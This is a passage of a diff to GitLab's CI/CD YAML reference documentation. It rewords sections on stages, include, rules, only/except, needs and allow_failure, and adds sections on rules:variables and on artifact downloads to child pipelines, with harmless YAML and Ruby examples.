of further stage are executed. +1. All jobs in `build` execute in parallel. +1. If all jobs in `build` succeed, the `test` jobs execute in parallel. +1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel. +1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`. + +If any job fails, the pipeline is marked as `failed` and jobs in later stages do not +start. Jobs in the current stage are not stopped and continue to run. -There are also two edge cases worth mentioning: +If no `stages` are defined in `.gitlab-ci.yml`, then `build`, `test` and `deploy` +are the default pipeline stages. -1. If no `stages` are defined in `.gitlab-ci.yml`, then the `build`, - `test` and `deploy` are allowed to be used as job's stage by default. -1. If a job does not specify a `stage`, the job is assigned the `test` stage. +If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. + +To make a job start earlier and ignore the stage order, use +the [`needs`](#needs) keyword. ### `workflow:rules` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 The top-level `workflow:` keyword determines whether or not a pipeline is created. -It accepts a single `rules:` keyword that is similar to [`rules:` defined within jobs](#rules). +It accepts a single `rules:` keyword that is similar to [`rules:` defined in jobs](#rules). Use it to define what can trigger a new pipeline. You can use the [`workflow:rules` templates](#workflowrules-templates) to import @@ -291,12 +292,11 @@ workflow: ``` This example prevents pipelines for schedules or `push` (branches and tags) pipelines. -The final `when: always` rule lets all other pipeline types run, **including** merge +The final `when: always` rule runs all other pipeline types, **including** merge request pipelines. -Be careful not to have rules that match both branch pipelines -and merge request pipelines. Similar to `rules` defined in jobs, this can cause -[duplicate pipelines](#prevent-duplicate-pipelines). +If your rules match both branch pipelines and merge request pipelines, +[duplicate pipelines](#prevent-duplicate-pipelines) can occur. #### `workflow:rules` templates @@ -308,7 +308,7 @@ for common scenarios. These templates help prevent duplicate pipelines. The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) makes your pipelines run for branches and tags. -Branch pipeline status is displayed within merge requests that use the branch +Branch pipeline status is displayed in merge requests that use the branch as a source. However, this pipeline type does not support any features offered by [Merge Request Pipelines](../merge_request_pipelines/), like [Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results) @@ -341,17 +341,18 @@ include: > - Available for Starter, Premium, and Ultimate in GitLab 10.6 and later. > - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Core in 11.4. -Using the `include` keyword allows the inclusion of external YAML files. This helps -to break down the CI/CD configuration into multiple files and increases readability for long configuration files. -It's also possible to have template files stored in a central repository and projects include their -configuration files. This helps avoid duplicated configuration, for example, global default variables for all projects. +Use the `include` keyword to include external YAML files in your CI/CD configuration. +You can break down one long `gitlab-ci.yml` into multiple files to increase readability, +or reduce duplication of the same configuration in multiple places. + +You can also store template files in a central repository and `include` them in projects. `include` requires the external YAML file to have the extensions `.yml` or `.yaml`, otherwise the external file is not included. -Using [YAML anchors](#anchors) across different YAML files sourced by `include` is not -supported. You must only refer to anchors in the same file. Instead -of using YAML anchors, you can use the [`extends` keyword](#extends). +You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. +You can only refer to anchors in the same file. Instead of YAML anchors, you can +use the [`extends` keyword](#extends). `include` supports the following inclusion methods: @@ -374,20 +375,20 @@ The files defined by `include` are: - Always evaluated first and merged with the content of `.gitlab-ci.yml`, regardless of the position of the `include` keyword. -TIP: **Tip:** +NOTE: Use merging to customize and override included CI/CD configurations with local definitions. Local definitions in `.gitlab-ci.yml` override included definitions. #### `include:local` `include:local` includes a file from the same repository as `.gitlab-ci.yml`. -It's referenced using full paths relative to the root directory (`/`). +It's referenced with full paths relative to the root directory (`/`). You can only use files that are tracked by Git on the same branch -your configuration file is on. In other words, when using a `include:local`, make +your configuration file is on. If you `include:local`, make sure that both `.gitlab-ci.yml` and the local file are on the same branch. -Including local files through Git submodules paths is not supported. +You can't include local files through Git submodules paths. All [nested includes](#nested-includes) are executed in the scope of the same project, so it's possible to use local, project, remote, or template includes. @@ -412,7 +413,7 @@ include: '.gitlab-ci-production.yml' > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. To include files from another private project under the same GitLab instance, -use `include:file`. This file is referenced using full paths relative to the +use `include:file`. This file is referenced with full paths relative to the root directory (`/`). For example: ```yaml @@ -439,8 +440,7 @@ include: ``` All [nested includes](#nested-includes) are executed in the scope of the target project. -This means you can use local (relative to target project), project, remote, -or template includes. +You can use local (relative to target project), project, remote, or template includes. ##### Multiple files from a project @@ -490,8 +490,8 @@ include: - remote: 'https://gitlab.com/awesome-project/raw/master/.gitlab-ci-template.yml' ``` -All [nested includes](#nested-includes) are executed without context as public user, so only another remote -or public project, or template, is allowed. +All [nested includes](#nested-includes) are executed without context as a public user, +so you can only `include` public projects or templates. #### `include:template` @@ -503,7 +503,7 @@ or public project, or template, is allowed. For example: ```yaml -# File sourced from GitLab's template collection +# File sourced from the GitLab template collection include: - template: Auto-DevOps.gitlab-ci.yml ``` @@ -523,9 +523,9 @@ so it's possible to use project, remote or template includes. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. -Nested includes allow you to compose a set of includes. +Use nested includes to compose a set of includes. -A total of 100 includes is allowed, but duplicate includes are considered a configuration error. +You can have up to 100 includes, but you can't have duplicate includes. In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit to resolve all files is 30 seconds. @@ -633,10 +633,8 @@ job: #### `before_script` -> Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`before_script` is used to define commands that should run before each job, including -deploy jobs, but after the restoration of any [artifacts](#artifacts). This must be an array. +`before_script` is used to define an array of commands that should run before each job, +but after [artifacts](#artifacts) are restored. Scripts specified in `before_script` are concatenated with any scripts specified in the main [`script`](#script), and executed together in a single shell. @@ -646,27 +644,25 @@ It's possible to overwrite a globally defined `before_script` if you define it i ```yaml default: before_script: - - echo "Execute this in all jobs that don't already have a before_script section." + - echo "Execute this script in all jobs that don't already have a before_script section." job1: script: - - echo "This executes after the global before_script." + - echo "This script executes after the global before_script." job: before_script: - - echo "Execute this instead of the global before_script." + - echo "Execute this script instead of the global before_script." script: - - echo "This executes after the job's `before_script`" + - echo "This script executes after the job's `before_script`" ``` You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). #### `after_script` -Introduced in GitLab 8.7 and requires GitLab Runner v1.2. - -`after_script` is used to define commands that run after each job, including failed -jobs. This must be an array. +`after_script` is used to define an array of commands that run after each job, +including failed jobs. If a job times out or is cancelled, the `after_script` commands are not executed. Support for executing `after_script` commands for timed-out or cancelled jobs @@ -688,17 +684,17 @@ Scripts specified in `after_script` are executed in a new shell, separate from a ```yaml default: after_script: - - echo "Execute this in all jobs that don't already have an after_script section." + - echo "Execute this script in all jobs that don't already have an after_script section." job1: script: - - echo "This executes first. When it completes, the global after_script executes." + - echo "This script executes first. When it completes, the global after_script executes." job: script: - - echo "This executes first. When it completes, the job's `after_script` executes." + - echo "This script executes first. When it completes, the job's `after_script` executes." after_script: - - echo "Execute this instead of the global after_script." + - echo "Execute this script instead of the global after_script." ``` You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). @@ -715,7 +711,7 @@ You can use special syntax in [`script`](README.md#script) sections to: ### `stage` `stage` is defined per-job and relies on [`stages`](#stages), which is defined -globally. It allows to group jobs into different stages, and jobs of the same +globally. Use `stage` to define which stage a job runs in, and jobs of the same `stage` are executed in parallel (subject to [certain conditions](#using-your-own-runners)). For example: ```yaml @@ -751,14 +747,12 @@ job 5: #### Using your own runners -When you use your own runners, GitLab Runner runs only one job at a time by default. See the -`concurrent` flag in [runner global settings](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) -for more information. - -Jobs run on your own runners in parallel only if: +When you use your own runners, each runner runs only one job at a time by default. +Jobs can run in parallel if they run on different runners. -- Run on different runners. -- The runner's `concurrent` setting has been changed. +If you have only one runner, jobs can run in parallel if the runner's +[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) +is greater than `1`. #### `.pre` and `.post` @@ -854,9 +848,8 @@ If you do want to include the `rake test`, see [`before_script`](#before_script) `.tests` in this example is a [hidden job](#hide-jobs), but it's possible to inherit from regular jobs as well. -`extends` supports multi-level inheritance. You should avoid using more than 3 levels, -but you can use as many as eleven. -The following example has two levels of inheritance: +`extends` supports multi-level inheritance. You should avoid using more than three levels, +but you can use as many as eleven. The following example has two levels of inheritance: ```yaml .tests: @@ -922,7 +915,7 @@ rspec: - rake rspec ``` -This results in the following `rspec` job: +The result is this `rspec` job: ```yaml rspec: @@ -961,7 +954,7 @@ For example, if you have a local `included.yml` file: - echo Hello! ``` -Then, in `.gitlab-ci.yml` you can use it like this: +Then, in `.gitlab-ci.yml`: ```yaml include: included.yml @@ -991,11 +984,12 @@ If you attempt to use both keywords in the same job, the linter returns a #### Rules attributes -The job attributes allowed by `rules` are: +The job attributes you can use with `rules` are: - [`when`](#when): If not defined, defaults to `when: on_success`. - If used as `when: delayed`, `start_in` is also required. - [`allow_failure`](#allow_failure): If not defined, defaults to `allow_failure: false`. +- [`variables`](#rulesvariables): If not defined, uses the [variables defined elsewhere](#variables). If a rule evaluates to true, and `when` has any value except `never`, the job is included in the pipeline. @@ -1011,9 +1005,6 @@ docker build: allow_failure: true ``` -Additional job configuration may be added to rules in the future. If something -useful is not available, please [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues). - #### Rules clauses Available rule clauses are: @@ -1047,7 +1038,7 @@ For example, using `if` clauses to strictly limit when jobs run: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: manual @@ -1061,11 +1052,11 @@ In this example: is added to the [merge request pipeline](../merge_request_pipelines/index.md) with attributes of: - `when: manual` (manual job) - - `allow_failure: true` (allows the pipeline to continue running even if the manual job is not run) + - `allow_failure: true` (the pipeline continues running even if the manual job is not run) - If the pipeline is **not** for a merge request, the first rule doesn't match, and the second rule is evaluated. - If the pipeline is a scheduled pipeline, the second rule matches, and the job - is added to the scheduled pipeline. Since no attributes were defined, it is added + is added to the scheduled pipeline. No attributes were defined, so it is added with: - `when: on_success` (default) - `allow_failure: false` (default) @@ -1076,7 +1067,7 @@ run them in all other cases: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' when: never @@ -1089,7 +1080,7 @@ job: - If the pipeline is a scheduled pipeline, the job is **not** be added to the pipeline. - In **all other cases**, the job is added to the pipeline, with `when: on_success`. -CAUTION: **Caution:** +WARNING: If you use a `when:` clause as the final rule (not including `when: never`), two simultaneous pipelines may start. Both push pipelines and merge request pipelines can be triggered by the same event (a push to the source branch for an open merge request). @@ -1100,8 +1091,8 @@ for more details. Jobs defined with `rules` can trigger multiple pipelines with the same action. You don't have to explicitly configure rules for each type of pipeline to trigger them -accidentally. Rules that are too loose (allowing too many types of pipelines) could -cause a second pipeline to run unexpectedly. +accidentally. Rules that are too broad could cause simultaneous pipelines of a different +type to run unexpectedly. Some configurations that have the potential to cause duplicate pipelines cause a [pipeline warning](../troubleshooting.md#pipeline-warnings) to be displayed. @@ -1111,7 +1102,7 @@ For example: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "false"' when: never @@ -1123,18 +1114,18 @@ other pipelines, including **both** push (branch) and merge request pipelines. W this configuration, every push to an open merge request's source branch causes duplicated pipelines. -There are multiple ways to avoid this: +There are multiple ways to avoid duplicate pipelines: - Use [`workflow: rules`](#workflowrules) to specify which types of pipelines - can run. To eliminate duplicate pipelines, allow only merge request pipelines - or push (branch) pipelines. + can run. To eliminate duplicate pipelines, use merge request pipelines only + or push (branch) pipelines only. - Rewrite the rules to run the job only in very specific cases, and avoid using a final `when:` rule: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CUSTOM_VARIABLE == "true" && $CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1148,7 +1139,7 @@ without `workflow: rules`: ```yaml job: - script: "echo This does NOT create double pipelines!" + script: echo "This job does NOT create double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' when: never @@ -1159,7 +1150,7 @@ Do not include both push and merge request pipelines in the same job: ```yaml job: - script: "echo This creates double pipelines!" + script: echo "This job creates double pipelines!" rules: - if: '$CI_PIPELINE_SOURCE == "push"' - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' @@ -1171,10 +1162,10 @@ and `rules` can cause issues that are difficult to troubleshoot: ```yaml job-with-no-rules: - script: "echo This job runs in branch pipelines." + script: echo "This job runs in branch pipelines." job-with-rules: - script: "echo This job runs in merge request pipelines." + script: echo "This job runs in merge request pipelines." rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' ``` @@ -1196,7 +1187,7 @@ See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) fo #### `rules:if` `rules:if` clauses determine whether or not jobs are added to a pipeline by evaluating -a simple `if` statement. If the `if` statement is true, the job is either included +an `if` statement. If the `if` statement is true, the job is either included or excluded from a pipeline. In plain English, `if` rules can be interpreted as one of: - "If this rule evaluates to true, add the job" (default). @@ -1205,8 +1196,8 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as `rules:if` differs slightly from `only:variables` by accepting only a single expression string per rule, rather than an array of them. Any set of expressions to be evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) -by using `&&` or `||`, and use -the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions). +by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions). + Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) sections, variables in rules expressions are always formatted as `$VARIABLE`. @@ -1217,7 +1208,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: always @@ -1250,7 +1241,7 @@ check the value of the `$CI_PIPELINE_SOURCE` variable: | `external` | When using CI services other than GitLab. | | `external_pull_request_event` | When an external pull request on GitHub is created or updated. See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). | | `merge_request_event` | For pipelines created when a merge request is created or updated. Required to enable [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). | -| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`, use this in the child pipeline configuration so that it can be triggered by the parent pipeline. | +| `parent_pipeline` | For pipelines triggered by a [parent/child pipeline](../parent_child_pipelines.md) with `rules`. Use this pipeline source in the child pipeline configuration so that it can be triggered by the parent pipeline. | | `pipeline` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. | | `push` | For pipelines triggered by a `git push` event, including for branches and tags. | | `schedule` | For [scheduled pipelines](../pipelines/schedules.md). | @@ -1262,7 +1253,7 @@ For example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "schedule"' when: manual @@ -1278,7 +1269,7 @@ Another example: ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' - if: '$CI_PIPELINE_SOURCE == "schedule"' @@ -1293,8 +1284,8 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH`: If changes are pushed to any branch. - `if: '$CI_COMMIT_BRANCH == "master"'`: If changes are pushed to `master`. - `if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH'`: If changes are pushed to the default - branch (usually `master`). Useful if reusing the same configuration in multiple - projects with potentially different default branches. + branch (usually `master`). Use when you want to have the same configuration in multiple + projects with different default branches. - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression. - `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables) `CUSTOM_VARIABLE` does **not** match a regular expression. @@ -1325,8 +1316,8 @@ docker build: In this example: - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. -- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and allow the pipeline - to continue running even if the job is not triggered (`allow_failure: true`). +- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline + continues running even if the job is not triggered (`allow_failure: true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). To use `rules: changes` with branch pipelines instead of merge request pipelines, @@ -1340,7 +1331,7 @@ rules: To implement a rule similar to [`except:changes`](#onlychangesexceptchanges), use `when: never`. -CAUTION: **Caution:** +WARNING: You can use `rules: changes` with other pipeline types, but it is not recommended because `rules: changes` always evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event @@ -1350,14 +1341,7 @@ if there is no `if:` statement that limits the job to branch or merge request pi ##### Variables in `rules:changes` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.6. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-variables-support-in-ruleschanges). **(CORE ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. Environment variables can be used in `rules:changes` expressions to determine when to add jobs to a pipeline: @@ -1376,33 +1360,12 @@ The `$` character can be used for both variables and paths. For example, if the `$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the `$` is interpreted as being part of a path. -###### Enable or disable variables support in `rules:changes` **(CORE ONLY)** - -Variables support in `rules:changes` is under development, but is ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_variable_expansion_in_rules_changes) -``` - -To disable it: - -```ruby -Feature.disable(:ci_variable_expansion_in_rules_changes) -``` - #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. `exists` accepts an array of paths and matches if any of these paths exist -as files in the repository. - -For example: +as files in the repository: ```yaml job: @@ -1412,10 +1375,7 @@ job: - Dockerfile ``` -You can also use glob patterns to match multiple files in any directory within -the repository. - -For example: +You can also use glob patterns to match multiple files in any directory in the repository: ```yaml job: @@ -1432,7 +1392,7 @@ checks. After the 10,000th check, rules with patterned globs always match. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) within `rules:` to allow a job to fail, or a manual job to +You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to wait for action, without stopping the pipeline itself. All jobs using `rules:` default to `allow_failure: false` if `allow_failure:` is not defined. @@ -1442,7 +1402,7 @@ triggered by the particular rule. ```yaml job: - script: "echo Hello, Rules!" + script: echo "Hello, Rules!" rules: - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' when: manual @@ -1451,6 +1411,56 @@ job: In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`. +#### `rules:variables` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-rulesvariables). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can use [`variables`](#variables) in `rules:` to define variables for specific conditions. + +For example: + +```yaml +job: + variables: + DEPLOY_VARIABLE: "default-deploy" + rules: + - if: $CI_COMMIT_REF_NAME =~ /master/ + variables: # Override DEPLOY_VARIABLE defined + DEPLOY_VARIABLE: "deploy-production" # at the job level. + - if: $CI_COMMIT_REF_NAME =~ /feature/ + variables: + IS_A_FEATURE: "true" # Define a new variable. + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" +``` + +##### Enable or disable rules:variables **(CORE ONLY)** + +rules:variables is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ci_rules_variables) +``` + +To disable it: + +```ruby +Feature.disable(:ci_rules_variables) +``` + #### Complex rule clauses To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the @@ -1458,7 +1468,7 @@ same rule. In the following example: -- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah, +- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value", then the job runs manually - Otherwise, the job isn't included in the pipeline. @@ -1471,7 +1481,7 @@ docker build: - Dockerfile - docker/scripts/* when: manual - # - when: never would be redundant here, this is implied any time rules are listed. + # - "when: never" would be redundant here. It is implied any time rules are listed. ``` Keywords such as `branches` or `refs` that are available for @@ -1491,13 +1501,13 @@ job1: if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE ``` -CAUTION: **Caution:** +WARNING: [Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), rules that use both `||` and `&&` may evaluate with an unexpected order of operations. ### `only`/`except` (basic) -NOTE: **Note:** +NOTE: The [`rules`](#rules) syntax is an improved, more powerful solution for defining when jobs should run or not. Consider using `rules` instead of `only/except` to get the most out of your pipelines. @@ -1513,11 +1523,10 @@ There are a few rules that apply to the usage of job policy: - `only` and `except` are inclusive. If both `only` and `except` are defined in a job specification, the ref is filtered by `only` and `except`. -- `only` and `except` allow the use of regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). -- `only` and `except` allow to specify a repository path to filter jobs for - forks. +- `only` and `except` can use regular expressions ([supported regexp syntax](#supported-onlyexcept-regexp-syntax)). +- `only` and `except` can specify a repository path to filter jobs for forks. -In addition, `only` and `except` allow the use of special keywords: +In addition, `only` and `except` can use special keywords: | **Value** | **Description** | |--------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -1534,6 +1543,10 @@ In addition, `only` and `except` allow the use of special keywords: | `triggers` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). | | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | +Scheduled pipelines run on specific branches, so jobs configured with `only: branches` +run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches` +from running on scheduled pipelines. + In the example below, `job` runs only for refs that start with `issue-`, whereas all branches are skipped: @@ -1621,7 +1634,7 @@ that begin with `issue-`, but you can use `/issue-.*/`. Regular expression flags must be appended after the closing `/`. -TIP: **Tip:** +NOTE: Use anchors `^` and `$` to avoid the regular expression matching only a substring of the tag name or branch name. For example, `/^issue-.*$/` is equivalent to `/^issue-/`, @@ -1638,8 +1651,8 @@ Only a subset of features provided by [Ruby Regexp](https://ruby-doc.org/core/Re are now supported. From GitLab 11.9.7 to GitLab 12.0, GitLab provided a feature flag to -let you use the unsafe regexp syntax. This flag allowed -compatibility with the previous syntax version so you could gracefully migrate to the new syntax. +let you use unsafe regexp syntax. After migrating to safe syntax, you should disable +this feature flag again: ```ruby Feature.enable(:allow_unsafe_ruby_regexp) @@ -1647,8 +1660,8 @@ Feature.enable(:allow_unsafe_ruby_regexp) ### `only`/`except` (advanced) -GitLab supports both simple and complex strategies, so it's possible to use an -array and a hash configuration scheme. +GitLab supports multiple strategies, and it's possible to use an +array or a hash configuration scheme. Four keys are available: @@ -1789,18 +1802,18 @@ job1: Using the `changes` keyword with `only` or `except` makes it possible to define if a job should be created based on files modified by a Git push event. -The `only:changes` policy is only useful for pipelines triggered by the following -refs: +Use the `only:changes` policy for pipelines triggered by the following +refs only: - `branches` - `external_pull_requests` - `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests)) -CAUTION: **Caution:** +WARNING: In pipelines with [sources other than the three above](../variables/predefined_variables.md) `changes` can't determine if a given file is new or old and always returns `true`. -This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes` -with other `only: refs` keywords is possible, but not recommended. +You can configure jobs to use `only: changes` with other `only: refs` keywords. However, +those jobs ignore the changes and always run. A basic example of using `only: changes`: @@ -1825,12 +1838,12 @@ the `docker build` job is created, but only if changes were made to any of the f - Any of the files and subdirectories in the `dockerfiles` directory. - Any of the files with `rb`, `py`, `sh` extensions in the `more_scripts` directory. -CAUTION: **Warning:** +WARNING: If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), you should [also use `only:merge_requests`](#using-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. You can also use glob patterns to match multiple files in either the root directory -of the repository, or in _any_ directory within the repository. However, they must be wrapped +of the repository, or in _any_ directory in the repository. However, they must be wrapped in double quotes or GitLab can't parse them. For example: ```yaml @@ -1869,10 +1882,9 @@ With [pipelines for merge requests](../merge_request_pipelines/index.md), it's possible to define a job to be created based on files modified in a merge request. -To deduce the correct base SHA of the source branch, we recommend combining -this keyword with `only: [merge_requests]`. This way, file differences are correctly -calculated from any further commits, thus all changes in the merge requests are properly -tested in pipelines. +Use this keyword with `only: [merge_requests]` so GitLab can find the correct base +SHA of the source branch. File differences are correctly calculated from any further +commits, and all changes in the merge requests are properly tested in pipelines. For example: @@ -1937,11 +1949,11 @@ runs. > - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately. -The `needs:` keyword enables executing jobs out-of-order, allowing you to implement -a [directed acyclic graph](../directed_acyclic_graph/index.md) in your `.gitlab-ci.yml`. +Use the `needs:` keyword to execute jobs out-of-order. Relationships between jobs +that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md). -This lets you run some jobs without waiting for other ones, disregarding stage ordering -so you can have multiple stages running concurrently. +You can ignore stage ordering and run some jobs without waiting for others to complete. +Jobs in multiple stages can run concurrently. Let's consider the following example: @@ -2009,7 +2021,7 @@ This example creates four paths of execution: ##### Changing the `needs:` job limit **(CORE ONLY)** -The maximum number of jobs that can be defined within `needs:` defaults to 50. +The maximum number of jobs that can be defined in `needs:` defaults to 50. A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md) can choose a custom limit. For example, to set the limit to 100: @@ -2127,12 +2139,59 @@ build_job: needs: - project: $CI_PROJECT_PATH job: $DEPENDENCY_JOB_NAME - ref: $CI_COMMIT_BRANCH + ref: $ARTIFACTS_DOWNLOAD_REF artifacts: true ``` Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not supported. +To download artifacts between [parent-child pipelines](../parent_child_pipelines.md) use [`needs:pipeline`](#artifact-downloads-to-child-pipelines). +Downloading artifacts from the same ref as the currently running pipeline is not +recommended because artifacts could be overridden by concurrent pipelines running +on the same ref. + +##### Artifact downloads to child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7. + +A [child pipeline](../parent_child_pipelines.md) can download artifacts from a job in +its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy. + +For example, with the following parent pipeline that has a job that creates some artifacts: + +```yaml +create-artifact: + stage: build + script: echo 'sample artifact' > artifact.txt + artifacts: + paths: [artifact.txt] + +child-pipeline: + stage: test + trigger: + include: child.yml + strategy: depend + variables: + PARENT_PIPELINE_ID: $CI_PIPELINE_ID +``` + +A job in the child pipeline can download artifacts from the `create-artifact` job in +the parent pipeline: + +```yaml +use-artifact: + script: cat artifact.txt + needs: + - pipeline: $PARENT_PIPELINE_ID + job: create-artifact +``` + +The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present +in the same parent-child pipeline hierarchy of the given pipeline. + +The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`). +To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs). + ### `tags` Use `tags` to select a specific runner from the list of all runners that are @@ -2181,7 +2240,7 @@ The default value is `false`, except for [manual](#whenmanual) jobs using the `when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs default to false, *including* `when: manual` jobs. -When `allow_failure` is enabled and the job fails, the job shows an orange warning in the UI. +When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. However, the logical flow of the pipeline considers the job a success/passed, and is not blocked. @@ -2218,16 +2277,13 @@ failure. `when` can be set to one of the following values: -1. `on_success` - execute job only when all jobs from prior stages - succeed (or are considered succeeding because they have `allow_failure: true`). - This is the default. -1. `on_failure` - execute job only when at least one job from prior stages - fails. -1. `always` - execute job regardless of the status of jobs from prior stages. -1. `manual` - 